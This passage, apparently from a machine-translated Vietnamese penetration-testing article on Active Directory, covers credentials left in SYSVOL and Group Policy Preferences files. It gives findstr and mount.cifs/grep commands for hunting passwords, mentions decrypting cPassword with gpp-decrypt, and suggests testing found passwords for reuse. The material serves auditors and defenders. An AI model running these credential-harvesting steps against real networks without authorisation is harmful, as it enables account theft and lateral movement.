dùng.16. Thông tin xác thực trong SYSVOL và Tùy chọn chính sách nhóm (GPP)Lỗ hổng này là về việc lưu trữ thông tin đăng nhập trong các thư mục chia sẻ mạng SYSVOL, là các thư mục trên bộ điều khiển miền có thể truy cập và có thể đọc được đối với tất cả người dùng miền được xác thực.Các thư mục SYSVOL thường được sử dụng để lưu trữ Chính sách nhóm, tệp cấu hình và dữ liệu khác được đẩy đến người dùng khi đăng nhập, v.v.Lưu trữ thông tin đăng nhập trong các thư mục SYSVOL là điều mà đôi khi quản trị viên đôi khi làm hoặc chọn thực hiện tại một số thời điểm để giải quyết một số vấn đề về cấu hình. Chẳng hạn, bắt đầu một ứng dụng trên các máy khách khi đăng nhập đòi hỏi các đặc quyền quản trị.Không cần phải nói, đây là điều không bao giờ nên làm, bởi vì bất kỳ người dùng tên miền nào cũng có thể truy cập vào các chia sẻ của SYSVOL và tìm thông tin đăng nhập.Ví dụ điển hình là:Tùy chọn chính sách nhóm (GPP) với thuộc tính cPassword ( MS14-025 )Thông tin được mã hóa cứng trong các tập lệnh và tập tin cấu hình khác nhauCách kiểm traĐể kiểm tra điều này, chúng tôi cần sở hữu bất kỳ thông tin xác thực người dùng tên miền đặc quyền thấp nào.Đây là những gì chúng ta có thể làm từ một miền gia nhập máy Windows:findstr /s /n /i /p password \\\sysvol\\*# Example:findstr /s /n /i /p password \\example.com\sysvol\example.com\*Lệnh này sẽ sàng lọc tất cả các tệp trên ổ đĩa SYSVOL và tìm mẫu mật khẩu của mật khẩu.Một lệnh tương đương trên Linux (ví dụ: Kali Linux) sẽ là:mount.cifs -o domain=,username=,password= ///SYSVOL /mnt# Example:mount.cifs -o domain=example.com,username=john,password="pass@123" //10.10.139.115/SYSVOL /mnt# Search:grep -ir 'password' /mntRất có thể là chúng ta sẽ tìm thấy một cái gì đó thú vị.Chẳng hạn, chúng ta có thể tìm thấy một thuộc tính cPassword trong các tệp XML GPP, chúng ta có thể giải mã ngay lập tức bằng cách sử dụng tiện ích ‘gpp-decrypt’:Bây giờ chúng tôi có thể thử sử dụng mật khẩu này và xác thực nó với các máy Windows được tìm thấy trên mạng. Hoặc chúng ta có thể thử nó ở nơi khác. Rất có thể mật khẩu sẽ được sử dụng lại ở đâu đó (xem 10 lỗ hổng hàng đầu được tìm thấy trong các thử nghiệm thâm nhập cơ sở hạ tầng nội bộ).Phần kết luậnMọi người đã từng đi sâu vào thế giới của Active Directory chắc chắn sẽ đồng ý với tôi khi tôi nói rằng việc bảo vệ Active Directory không phải là nhiệm vụ dễ dàng. Cần có trình độ chuyên môn và nhiều năm kinh nghiệm để làm điều đó và giảm thiểu rủi ro đi kèm.Nhưng ngay cả sau đó công việc không được thực hiện. Công việc thực sự không bao giờ được thực hiện, bởi vì luôn có những yêu cầu mới, tính năng mới, khám phá mới và lỗ hổng mới và vì vậy luôn có chỗ để cải thiện. Nhưng tôi chắc chắn rằng điều này không gây ngạc nhiên cho bất cứ ai trong thế giới infosec ..Tôi hy vọng rằng bài viết này cung cấp ít nhất một số thông tin có giá trị cho người kiểm tra thâm nhập và kiểm toán viên để giúp khách hàng của họ bảo vệ môi Active Directory của họ.Nếu bạn thích bài viết này và bạn muốn nhiều hơn nữa, vui lòng đăng ký vào danh sách gửi thư của chúng tôi và theo dõi chúng tôi trên Twitter và Facebook để nhận thông báo về nội dung mới.